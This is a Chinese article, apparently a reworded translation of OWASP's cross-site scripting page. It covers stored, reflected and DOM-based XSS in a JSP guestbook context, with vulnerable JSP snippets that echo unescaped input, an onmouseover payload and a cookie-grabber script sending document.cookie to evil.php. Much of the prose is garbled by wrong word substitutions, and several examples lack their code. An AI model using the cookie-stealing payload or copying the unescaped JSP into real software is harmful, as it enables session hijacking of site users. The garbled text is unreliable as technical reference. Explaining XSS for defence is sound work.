jsp留言簿项目书黑客跨站点剧本XSS攻防

攻击者可以利用XSS向恶意用户发送恶意脚本。
终极用户的浏览器无法知道该脚本不应该被信赖，并且会实行该脚本。
由于它认为脚本来自可信来源，以是恶意脚本可以访问浏览器保留并与该站点一起利用的任何cookie，会话令牌或其他敏感信息。
这些脚本乃至可以重写HTML页面的内容。

描述

跨站点脚本（XSS）攻击发生在以下情形下：

数据通过不受信赖的来源进入Web运用程序，常日是Web要求。

jsp留言簿项目书黑客跨站点剧本XSS攻防 JavaScript

数据包含在发送给Web用户而不经由恶意内容验证的动态内容中。

发送到Web浏览器的恶意内容常日采取JavaScript段的形式，但也可能包括HTML，Flash或浏览器可能实行的任何其他类型的代码。
基于XSS的各种攻击险些是无限的，但它们常日包括向攻击者发送私密数据（如Cookie或其他会话信息），将受害者重定向到由攻击者掌握的网页内容，或在用户打算机上实行其他恶意操作在易受攻击的网站的幌子下。

存储和反响的XSS攻击

XSS攻击常日可以分为两类：存储和反响。
还有第三种类型的XSS攻击，称为DOM Based XSS，在这里单独谈论。

存储的XSS攻击

存储的攻击是那些注入的脚本永久存储在目标做事器上的，例如数据库，论坛，访问者日志，注释字段等。
受害者然后在做事器要求存储时从做事器检索恶意脚本信息。
存储的XSS有时也被称为持久性或I型XSS。

反响的XSS攻击

反射攻击是那些注入脚本反响在Web做事器上的，例如缺点，搜索结果或任何其他相应，包括发送到做事器的部分或全部输入作为要求的一部分。
反射的攻击通过其他路子通报给受害者，例如电子邮件或其他网站。
当用户被欺骗点击恶意链接，提交特制表单或者乃至浏览恶意网站时，注入的代码会传播到易受攻击的网站，这反响了攻击回到用户的浏览器。
然后浏览器实行代码，由于它来自“可信”做事器。
反响的XSS有时也被称为非持久性或II型XSS。

其他类型的XSS漏洞

除了存储和反响XSS，另一种类型的XSS，DOM基于XSS 于2005年由Amit Klein确定。
OWASP建议按照OWASP文章：跨站点脚本类型中所述的XSS分类，个中涵盖所有这些XSS术语，将它们组织成矩阵存储与反射XSS和做事器与客户端XSS，个中DOM基于XSS是客户端XSS的子集。

XSS攻击后果

无论是存储还是反响（或基于DOM的），XSS攻击的结果都是相同的）。
不同之处在于有效负载如何到达做事器。
不要被屈曲地认为“只读”或“小册子”网站不随意马虎受到严重反响的XSS攻击。
XSS可能会给终极用户带来各种问题，严重程度从烦恼到完备帐户妥协。
最严重的XSS攻击涉及透露用户的会话cookie，许可攻击者挟制用户的会话并接管该帐户。
其他毁坏性攻击包括表露终极用户文件，安装特洛伊木马程序，将用户重定向到其他页面或站点，或修正内容的显示。
许可攻击者修正新闻稿或新闻项目的XSS漏洞可能会影响公司的股价或降落消费者信心。
制药网站上的XSS漏洞可能许可攻击者修正导致剂量过量的剂量信息。
有关这些类型的攻击的更多信息，请参阅Content_Spoofing。

如何确定你是否薄弱

XSS毛病很难从Web运用程序中识别和删除。
找到毛病的最佳方法是对代码实行安全审查，并搜索所有来自HTTP要求的输入可能进入HTML输出的地方。
请把稳，各种不同的HTML标签可用于传输恶意JavaScript。
Nessus，Nikto和其他一些可用的工具可以帮助扫描网站上的这些毛病，但只能从表面上刮擦。
如果某个网站的某个部分很薄弱，那么很可能还有其他问题。

如何保护自己

OWASP XSS预防备忘单先容了针对XSS的紧张防御方法。

此外，关闭所有Web做事器上的HTTP TRACE支持也是至关主要的。
纵然在客户端禁用或不支持document.cookie的情形下，攻击者也可以通过Javascript盗取cookie数据。
当用户向论坛发布恶意脚本时会挂载此攻击，因此当其他用户单击该链接时，会触发异步HTTP跟踪调用，从做事器网络用户的Cookie信息，然后将其发送到另一个网络的恶意做事器cookie信息使攻击者可以挂载会话挟制攻击。
通过在所有网络做事器上删除对HTTP TRACE的支持，这可以轻松缓解。

该OWASP ESAPI项目已经产生了一套可重复利用的安全组件的多国措辞，包括验证和转义程序，以防止参数修改和XSS攻击的注入。
此外，OWASP WebGoat Project培训运用程序还供应跨站脚本和数据编码课程。

备用XSS语法

XSS在属性中利用脚本

可以在不该用<script> </ script>标记的情形下进行XSS攻击。
其他标签将完备相同的事情，例如：

或其他属性如：onmouseover，onerror。

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

通过编码URI方案利用脚本的XSS

如果我们须要隐蔽Web运用程序过滤器，我们可能会考试测验对字符串字符进行编码，例如：a =＆＃X41（UTF-8）并将其用于IMG标记中：

有许多不同的UTF-8编码符号给了我们更多的可能性。

XSS利用代码编码

我们可以用base64编码我们的脚本，并将其放置在META标记中。
这样我们完备摆脱了alert（）。
有关此方法的更多信息可以在RFC 2397中找到

这些和其他的例子可以在OWASP XSS过滤漏洞作弊表中找到，它是真正的备用XSS语法攻击的百科全书。

例子

跨站脚本攻击可能发生在任何可能许可恶意用户将未经调度的材料发布到可信网站以供其他有效用户利用的地方。

最常见的例子可以在供应基于web的邮件列表式功能的公告栏网站中找到。

例1

以下JSP代码段从HTTP要求中读取雇员ID eid并将其显示给用户。

<% String eid = request.getParameter(\"大众eid\公众); %>...Employee ID: <%= eid %>

如果eid仅包含标准字母数字文本，则此示例中的代码精确运行。
如果eid的值包含元字符或源代码，则该代码将由Web浏览器在显示HTTP相应时实行。

最初这彷佛不是一个很大的漏洞。
毕竟，为什么有人会输入一个导致恶意代码在自己的打算机上运行的URL？真正的危险是攻击者会创建恶意URL，然后利用电子邮件或社会工程技巧诱骗受害者访问URL的链接。
当受害者点击链接时，他们无意中通过易受攻击的Web运用程序将恶意内容反响回自己的打算机。
这种利用易受攻击的Web运用程序的机制称为反射XSS。

例2

以下JSP代码段为具有给定ID的员工查询数据库并打印相应的员工姓名。

<%...Statement stmt = conn.createStatement();ResultSet rs = stmt.executeQuery(\"大众select from emp where id=\"大众+eid);if (rs != null) {rs.next();String name = rs.getString(\公众name\公众);%>Employee Name: <%= name %>

如示例1中所示，当代码的名称行为良好时，此代码正常运行，但如果不符合规则，则不会实行任何操作。
同样，这段代码看起来危险性较小，由于名称的值是从数据库中读取的，数据库的内容显然是由运用程序管理的。
但是，如果名称的值来自用户供应的数据，那么数据库可能成为恶意内容的渠道。
如果没有对存储在数据库中的所有数据进行适当的输入验证，攻击者就可以在用户的Web浏览器中实行恶意命令。
这种被称为Stored XSS的攻击类型特殊暗藏，由于由数据存储造成的间接性使得识别威胁变得更加困难并且增加了攻击会影响多个用户的可能性。
XSS以这种形式开始，其网站为访客供应“留言”。
攻击者会在他们的留言簿条款中包含JavaScript，并且留言页面的所有后续访问者都会实行恶意代码。

如示例所示，XSS漏洞是由HTTP相应中包含未验证数据的代码引起的。
XSS攻击可以通过三种办法到达受害者：

如例1所示，直接从HTTP要求中读取数据并将其反响回HTTP相应中。
当攻击者导致用户向易受攻击的Web运用程序供应危险内容时，反射XSS攻击就会发生，然后反馈给用户并由Web浏览器实行。
传送恶意内容的最知识趣制是将其作为参数包含在公开张贴或通过电子邮件直接发送给受害人的URL中。
以这种办法构建的URL构成许多网络钓鱼操持的核心，攻击者说服受害者访问指向易受攻击网站的URL。
在网站将攻击者的内容反响给用户后，内容就会被实行并连续从用户的网站传输隐私信息，例如可能包含会话信息的Cookie，

如示例2中所示，运用程序将危险数据存储在数据库或其他受信赖的数据存储中。
随后将危险数据读回到运用程序并包含在动态内容中。
存储的XSS攻击发生在攻击者将危险内容注入到稍后被读取并包含在动态内容中的数据存储中时。
从攻击者的角度来看，注入恶意内容的最佳位置是显示给许多用户或特殊感兴趣的用户的区域。
有趣的用户常日在运用程序中拥有更高的权限，或与敏感数据交互，这对攻击者来说很有代价。
如果个中一个用户实行恶意内容，则攻击者可能能够代表用户实行特权操作或得到对属于该用户的敏感数据的访问权限。

运用程序外部的源将危险数据存储在数据库或其他数据存储中，然后危险数据作为可信数据读回运用程序并包含在动态内容中。

攻击示例

示例1：Cookie抓取器

如果运用程序不验证输入数据，则攻击者可以轻松从已验证的用户盗取cookie。
所有攻击者所要做的便是在任何发布的输入（即：留言板，私人，用户配置文件）中放置以下代码：

<SCRIPT type=\"大众text/javascript\"大众>var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>

上面的代码会通报cookie的转义内容（根据RFC内容必须在通过HTTP协议利用GET方法发送之前将其转义）通报给“cakemonster”变量中的evil.php脚本。
攻击者然后检讨他的evil.php脚本的结果（cookie抓取者脚本常日将cookie写入文件）并利用它。

缺点页面示例

假设我们有一个缺点页面，它处理对一个不存在的页面的要求，一个经典的404缺点页面。
我们可以利用下面的代码作为示例来奉告用户短缺什么特定的页面：

让我们看看它是如何事情的：

http://testsite.test/file_which_not_exist

作为回应，我们得到：

Not found: /file_which_not_exist